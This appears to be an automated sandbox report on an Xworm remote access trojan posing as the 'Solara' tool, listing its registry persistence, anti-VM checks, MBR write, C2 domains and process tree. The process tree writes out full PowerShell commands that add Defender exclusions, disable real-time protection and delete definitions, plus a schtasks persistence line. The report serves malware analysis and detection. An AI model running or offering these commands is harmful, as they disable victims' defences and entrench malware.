xworm | 38fcb8bdf5ebec066fd0668728bf0c4ee595888db47a40ff22a43b8770cf0a82

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ejwmxs.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5476	powershell.exe
988	powershell.exe
2784	powershell.exe
2664	powershell.exe
4572	powershell.exe
4968	powershell.exe
2916	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	idcljz.exe

Sets file execution options in registry 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe	ejwmxs.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ejwmxs.exe"	ejwmxs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	ejwmxs.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ejwmxs.exe"	ejwmxs.exe

ACProtect 1.3x - 1.4x DLL software 16 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x00070000000237e5-1617.dat	acprotect
behavioral2/files/0x00070000000237e3-1625.dat	acprotect
behavioral2/files/0x00070000000237d8-1623.dat	acprotect
behavioral2/files/0x00070000000237df-1642.dat	acprotect
behavioral2/files/0x00070000000237de-1641.dat	acprotect
behavioral2/files/0x00070000000237dd-1640.dat	acprotect
behavioral2/files/0x00070000000237dc-1639.dat	acprotect
behavioral2/files/0x00070000000237db-1638.dat	acprotect
behavioral2/files/0x00070000000237da-1637.dat	acprotect
behavioral2/files/0x00070000000237d9-1636.dat	acprotect
behavioral2/files/0x00070000000237d7-1635.dat	acprotect
behavioral2/files/0x00070000000237ea-1634.dat	acprotect
behavioral2/files/0x00070000000237e9-1633.dat	acprotect
behavioral2/files/0x00070000000237e8-1632.dat	acprotect
behavioral2/files/0x00070000000237e4-1629.dat	acprotect
behavioral2/files/0x00070000000237e2-1628.dat	acprotect

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	Solara (2).exe
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	XClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	SolaraBootstrapper.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk	XClient.exe

Executes dropped EXE 10 IoCs

pid	Process
2880	SolaraBootstrapper.exe
5080	XClient.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4656	idcljz.exe
1928	idcljz.exe
5420	svhost.exe
5624	rar.exe
2880	ejwmxs.exe
6124	ejwmxs.exe
6084	svhost.exe

Loads dropped DLL 22 IoCs

pid	Process
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe
1928	idcljz.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 7 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x00070000000233e1-1560.dat	themida
behavioral2/memory/4268-1568-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida
behavioral2/memory/4268-1569-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida
behavioral2/memory/4268-1570-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida
behavioral2/memory/4268-1571-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida
behavioral2/memory/4268-1576-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida
behavioral2/memory/4268-1795-0x0000000180000000-0x0000000180BDE000-memory.dmp	themida

UPX packed file 63 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x00070000000237e5-1617.dat	upx
behavioral2/memory/1928-1621-0x0000000074DC0000-0x00000000752CB000-memory.dmp	upx
behavioral2/files/0x00070000000237e3-1625.dat	upx
behavioral2/files/0x00070000000237d8-1623.dat	upx
behavioral2/memory/1928-1644-0x0000000074D60000-0x0000000074D6D000-memory.dmp	upx
behavioral2/memory/1928-1643-0x0000000074D70000-0x0000000074D8F000-memory.dmp	upx
behavioral2/files/0x00070000000237df-1642.dat	upx
behavioral2/files/0x00070000000237de-1641.dat	upx
behavioral2/files/0x00070000000237dd-1640.dat	upx
behavioral2/files/0x00070000000237dc-1639.dat	upx
behavioral2/files/0x00070000000237db-1638.dat	upx
behavioral2/files/0x00070000000237da-1637.dat	upx
behavioral2/files/0x00070000000237d9-1636.dat	upx
behavioral2/files/0x00070000000237d7-1635.dat	upx
behavioral2/files/0x00070000000237ea-1634.dat	upx
behavioral2/files/0x00070000000237e9-1633.dat	upx
behavioral2/files/0x00070000000237e8-1632.dat	upx
behavioral2/files/0x00070000000237e4-1629.dat	upx
behavioral2/files/0x00070000000237e2-1628.dat	upx
behavioral2/memory/1928-1650-0x0000000074D30000-0x0000000074D57000-memory.dmp	upx
behavioral2/memory/1928-1655-0x0000000074CF0000-0x0000000074D0B000-memory.dmp	upx
behavioral2/memory/1928-1656-0x0000000074BB0000-0x0000000074CE7000-memory.dmp	upx
behavioral2/memory/1928-1654-0x0000000074D10000-0x0000000074D28000-memory.dmp	upx
behavioral2/memory/1928-1662-0x0000000074B10000-0x0000000074B38000-memory.dmp	upx
behavioral2/memory/1928-1661-0x0000000074B40000-0x0000000074B4C000-memory.dmp	upx
behavioral2/memory/1928-1660-0x0000000074B90000-0x0000000074BA6000-memory.dmp	upx
behavioral2/memory/1928-1664-0x0000000074A70000-0x0000000074B04000-memory.dmp	upx
behavioral2/memory/1928-1667-0x0000000074810000-0x0000000074A6A000-memory.dmp	upx
behavioral2/memory/1928-1670-0x00000000747A0000-0x00000000747B0000-memory.dmp	upx
behavioral2/memory/1928-1672-0x0000000074DC0000-0x00000000752CB000-memory.dmp	upx
behavioral2/memory/1928-1673-0x0000000074790000-0x000000007479C000-memory.dmp	upx
behavioral2/memory/1928-1674-0x0000000074660000-0x0000000074779000-memory.dmp	upx
behavioral2/memory/1928-1797-0x0000000074D70000-0x0000000074D8F000-memory.dmp	upx
behavioral2/memory/1928-1878-0x0000000074DC0000-0x00000000752CB000-memory.dmp	upx
behavioral2/memory/1928-1889-0x0000000074810000-0x0000000074A6A000-memory.dmp	upx
behavioral2/memory/1928-1888-0x0000000074A70000-0x0000000074B04000-memory.dmp	upx
behavioral2/memory/1928-1887-0x0000000074B10000-0x0000000074B38000-memory.dmp	upx
behavioral2/memory/1928-1885-0x0000000074B90000-0x0000000074BA6000-memory.dmp	upx
behavioral2/memory/1928-1884-0x0000000074BB0000-0x0000000074CE7000-memory.dmp	upx
behavioral2/memory/1928-1879-0x0000000074D70000-0x0000000074D8F000-memory.dmp	upx
behavioral2/memory/1928-1883-0x0000000074CF0000-0x0000000074D0B000-memory.dmp	upx
behavioral2/files/0x0009000000023813-1935.dat	upx
behavioral2/memory/1928-1937-0x0000000074DC0000-0x00000000752CB000-memory.dmp	upx
behavioral2/memory/2880-1952-0x0000000000400000-0x00000000006D8000-memory.dmp	upx
behavioral2/memory/1928-1954-0x0000000074D70000-0x0000000074D8F000-memory.dmp	upx
behavioral2/memory/1928-1971-0x0000000074D10000-0x0000000074D28000-memory.dmp	upx
behavioral2/memory/1928-1975-0x0000000074B40000-0x0000000074B4C000-memory.dmp	upx
behavioral2/memory/1928-1974-0x0000000074B90000-0x0000000074BA6000-memory.dmp	upx
behavioral2/memory/1928-1973-0x0000000074BB0000-0x0000000074CE7000-memory.dmp	upx
behavioral2/memory/1928-1972-0x0000000074CF0000-0x0000000074D0B000-memory.dmp	upx
behavioral2/memory/1928-1970-0x0000000074D30000-0x0000000074D57000-memory.dmp	upx
behavioral2/memory/1928-1969-0x0000000074D60000-0x0000000074D6D000-memory.dmp	upx
behavioral2/memory/1928-1968-0x0000000074B10000-0x0000000074B38000-memory.dmp	upx
behavioral2/memory/1928-1967-0x0000000074660000-0x0000000074779000-memory.dmp	upx
behavioral2/memory/1928-1966-0x0000000074790000-0x000000007479C000-memory.dmp	upx
behavioral2/memory/1928-1965-0x00000000747A0000-0x00000000747B0000-memory.dmp	upx
behavioral2/memory/1928-1964-0x0000000074810000-0x0000000074A6A000-memory.dmp	upx
behavioral2/memory/1928-1953-0x0000000074DC0000-0x00000000752CB000-memory.dmp	upx
behavioral2/memory/1928-1963-0x0000000074A70000-0x0000000074B04000-memory.dmp	upx
behavioral2/memory/6124-1977-0x0000000000400000-0x00000000006D8000-memory.dmp	upx
behavioral2/memory/6124-1978-0x0000000000400000-0x00000000006D8000-memory.dmp	upx
behavioral2/memory/2880-2002-0x0000000000400000-0x00000000006D8000-memory.dmp	upx
behavioral2/memory/2880-2025-0x0000000000400000-0x00000000006D8000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svhost = "C:\\Users\\Admin\\AppData\\Roaming\\svhost.exe"	XClient.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Java = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ejwmxs.exe"	ejwmxs.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ejwmxs.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
28	raw.githubusercontent.com
40	6.tcp.eu.ngrok.io
43	raw.githubusercontent.com
64	discord.com
65	discord.com
27	raw.githubusercontent.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ip-api.com
62	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	ejwmxs.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3616	schtasks.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
4884	WMIC.exe
1152	WMIC.exe
3112	WMIC.exe

Enumerates processes with tasklist 1 TTPs 5 IoCs

Process Discovery

T1057

pid	Process
4888	tasklist.exe
2024	tasklist.exe
2984	tasklist.exe
5444	tasklist.exe
5224	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
5376	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5204	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2880	SolaraBootstrapper.exe
2880	SolaraBootstrapper.exe
988	powershell.exe
988	powershell.exe
2784	powershell.exe
2784	powershell.exe
2664	powershell.exe
2664	powershell.exe
4572	powershell.exe
4572	powershell.exe
5080	XClient.exe
5080	XClient.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4268	cd57e4c171d6e8f5ea8b8f824a6a7316.exe
4968	powershell.exe
4968	powershell.exe
956	powershell.exe
956	powershell.exe
956	powershell.exe
4968	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
2916	powershell.exe
5368	powershell.exe
5368	powershell.exe
5476	powershell.exe
5476	powershell.exe
5368	powershell.exe
5476	powershell.exe
6120	powershell.exe
6120	powershell.exe
6120	powershell.exe
2532	powershell.exe
2532	powershell.exe
2532	powershell.exe
1396	powershell.exe
1396	powershell.exe
1396	powershell.exe
5564	powershell.exe
5564	powershell.exe
5564	powershell.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe
2880	ejwmxs.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2880	ejwmxs.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	XClient.exe
Token: SeDebugPrivilege	2880	SolaraBootstrapper.exe
Token: SeDebugPrivilege	988	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	4572	powershell.exe
Token: SeDebugPrivilege	5080	XClient.exe
Token: SeIncreaseQuotaPrivilege	4460	WMIC.exe
Token: SeSecurityPrivilege	4460	WMIC.exe
Token: SeTakeOwnershipPrivilege	4460	WMIC.exe
Token: SeLoadDriverPrivilege	4460	WMIC.exe
Token: SeSystemProfilePrivilege	4460	WMIC.exe
Token: SeSystemtimePrivilege	4460	WMIC.exe
Token: SeProfSingleProcessPrivilege	4460	WMIC.exe
Token: SeIncBasePriorityPrivilege	4460	WMIC.exe
Token: SeCreatePagefilePrivilege	4460	WMIC.exe
Token: SeBackupPrivilege	4460	WMIC.exe
Token: SeRestorePrivilege	4460	WMIC.exe
Token: SeShutdownPrivilege	4460	WMIC.exe
Token: SeDebugPrivilege	4460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4460	WMIC.exe
Token: SeRemoteShutdownPrivilege	4460	WMIC.exe
Token: SeUndockPrivilege	4460	WMIC.exe
Token: SeManageVolumePrivilege	4460	WMIC.exe
Token: 33	4460	WMIC.exe
Token: 34	4460	WMIC.exe
Token: 35	4460	WMIC.exe
Token: 36	4460	WMIC.exe
Token: SeDebugPrivilege	4888	tasklist.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	956	powershell.exe
Token: SeIncreaseQuotaPrivilege	4460	WMIC.exe
Token: SeSecurityPrivilege	4460	WMIC.exe
Token: SeTakeOwnershipPrivilege	4460	WMIC.exe
Token: SeLoadDriverPrivilege	4460	WMIC.exe
Token: SeSystemProfilePrivilege	4460	WMIC.exe
Token: SeSystemtimePrivilege	4460	WMIC.exe
Token: SeProfSingleProcessPrivilege	4460	WMIC.exe
Token: SeIncBasePriorityPrivilege	4460	WMIC.exe
Token: SeCreatePagefilePrivilege	4460	WMIC.exe
Token: SeBackupPrivilege	4460	WMIC.exe
Token: SeRestorePrivilege	4460	WMIC.exe
Token: SeShutdownPrivilege	4460	WMIC.exe
Token: SeDebugPrivilege	4460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4460	WMIC.exe
Token: SeRemoteShutdownPrivilege	4460	WMIC.exe
Token: SeUndockPrivilege	4460	WMIC.exe
Token: SeManageVolumePrivilege	4460	WMIC.exe
Token: 33	4460	WMIC.exe
Token: 34	4460	WMIC.exe
Token: 35	4460	WMIC.exe
Token: 36	4460	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4884	WMIC.exe
Token: SeSecurityPrivilege	4884	WMIC.exe
Token: SeTakeOwnershipPrivilege	4884	WMIC.exe
Token: SeLoadDriverPrivilege	4884	WMIC.exe
Token: SeSystemProfilePrivilege	4884	WMIC.exe
Token: SeSystemtimePrivilege	4884	WMIC.exe
Token: SeProfSingleProcessPrivilege	4884	WMIC.exe
Token: SeIncBasePriorityPrivilege	4884	WMIC.exe
Token: SeCreatePagefilePrivilege	4884	WMIC.exe
Token: SeBackupPrivilege	4884	WMIC.exe
Token: SeRestorePrivilege	4884	WMIC.exe
Token: SeShutdownPrivilege	4884	WMIC.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
5080	XClient.exe
2880	ejwmxs.exe
6124	ejwmxs.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2880	2892	Solara (2).exe	87
PID 2892 wrote to memory of 2880	2892	Solara (2).exe	87
PID 2892 wrote to memory of 2880	2892	Solara (2).exe	87
PID 2892 wrote to memory of 5080	2892	Solara (2).exe	88
PID 2892 wrote to memory of 5080	2892	Solara (2).exe	88
PID 5080 wrote to memory of 988	5080	XClient.exe	95
PID 5080 wrote to memory of 988	5080	XClient.exe	95
PID 5080 wrote to memory of 2784	5080	XClient.exe	97
PID 5080 wrote to memory of 2784	5080	XClient.exe	97
PID 5080 wrote to memory of 2664	5080	XClient.exe	99
PID 5080 wrote to memory of 2664	5080	XClient.exe	99
PID 5080 wrote to memory of 4572	5080	XClient.exe	101
PID 5080 wrote to memory of 4572	5080	XClient.exe	101
PID 5080 wrote to memory of 3616	5080	XClient.exe	103
PID 5080 wrote to memory of 3616	5080	XClient.exe	103
PID 2880 wrote to memory of 4268	2880	SolaraBootstrapper.exe	107
PID 2880 wrote to memory of 4268	2880	SolaraBootstrapper.exe	107
PID 5080 wrote to memory of 4656	5080	XClient.exe	109
PID 5080 wrote to memory of 4656	5080	XClient.exe	109
PID 5080 wrote to memory of 4656	5080	XClient.exe	109
PID 4656 wrote to memory of 1928	4656	idcljz.exe	110
PID 4656 wrote to memory of 1928	4656	idcljz.exe	110
PID 4656 wrote to memory of 1928	4656	idcljz.exe	110
PID 1928 wrote to memory of 4184	1928	idcljz.exe	112
PID 1928 wrote to memory of 4184	1928	idcljz.exe	112
PID 1928 wrote to memory of 4184	1928	idcljz.exe	112
PID 1928 wrote to memory of 2572	1928	idcljz.exe	113
PID 1928 wrote to memory of 2572	1928	idcljz.exe	113
PID 1928 wrote to memory of 2572	1928	idcljz.exe	113
PID 1928 wrote to memory of 3320	1928	idcljz.exe	115
PID 1928 wrote to memory of 3320	1928	idcljz.exe	115
PID 1928 wrote to memory of 3320	1928	idcljz.exe	115
PID 1928 wrote to memory of 3684	1928	idcljz.exe	118
PID 1928 wrote to memory of 3684	1928	idcljz.exe	118
PID 1928 wrote to memory of 3684	1928	idcljz.exe	118
PID 4184 wrote to memory of 4968	4184	cmd.exe	120
PID 4184 wrote to memory of 4968	4184	cmd.exe	120
PID 4184 wrote to memory of 4968	4184	cmd.exe	120
PID 3320 wrote to memory of 4888	3320	cmd.exe	121
PID 3320 wrote to memory of 4888	3320	cmd.exe	121
PID 3320 wrote to memory of 4888	3320	cmd.exe	121
PID 2572 wrote to memory of 956	2572	cmd.exe	122
PID 2572 wrote to memory of 956	2572	cmd.exe	122
PID 2572 wrote to memory of 956	2572	cmd.exe	122
PID 3684 wrote to memory of 4460	3684	cmd.exe	123
PID 3684 wrote to memory of 4460	3684	cmd.exe	123
PID 3684 wrote to memory of 4460	3684	cmd.exe	123
PID 1928 wrote to memory of 2852	1928	idcljz.exe	124
PID 1928 wrote to memory of 2852	1928	idcljz.exe	124
PID 1928 wrote to memory of 2852	1928	idcljz.exe	124
PID 2852 wrote to memory of 3140	2852	cmd.exe	126
PID 2852 wrote to memory of 3140	2852	cmd.exe	126
PID 2852 wrote to memory of 3140	2852	cmd.exe	126
PID 1928 wrote to memory of 4960	1928	idcljz.exe	194
PID 1928 wrote to memory of 4960	1928	idcljz.exe	194
PID 1928 wrote to memory of 4960	1928	idcljz.exe	194
PID 4960 wrote to memory of 3048	4960	cmd.exe	129
PID 4960 wrote to memory of 3048	4960	cmd.exe	129
PID 4960 wrote to memory of 3048	4960	cmd.exe	129
PID 1928 wrote to memory of 1076	1928	idcljz.exe	130
PID 1928 wrote to memory of 1076	1928	idcljz.exe	130
PID 1928 wrote to memory of 1076	1928	idcljz.exe	130
PID 1076 wrote to memory of 4884	1076	cmd.exe	132
PID 1076 wrote to memory of 4884	1076	cmd.exe	132

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	ejwmxs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1"	ejwmxs.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	ejwmxs.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1080	attrib.exe
5852	attrib.exe
6080	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Solara (2).exe
"C:\Users\Admin\AppData\Local\Temp\Solara (2).exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe
  "C:\Users\Admin\AppData\Local\Temp\SolaraBootstrapper.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe
    "C:\Users\Admin\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks whether UAC is enabled
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    PID:4268
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\svhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4572
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Creates scheduled task(s)
    PID:3616
- - C:\Users\Admin\AppData\Local\Temp\idcljz.exe
    "C:\Users\Admin\AppData\Local\Temp\idcljz.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4656
  - - C:\Users\Admin\AppData\Local\Temp\idcljz.exe
      "C:\Users\Admin\AppData\Local\Temp\idcljz.exe"
      4⤵
      Drops file in Drivers directory
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:1928
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\idcljz.exe'"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4184
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\idcljz.exe'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4968
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2572
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:956
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3320
      - C:\Windows\SysWOW64\tasklist.exe
        
        tasklist /FO LIST
        6⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4888
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        5⤵
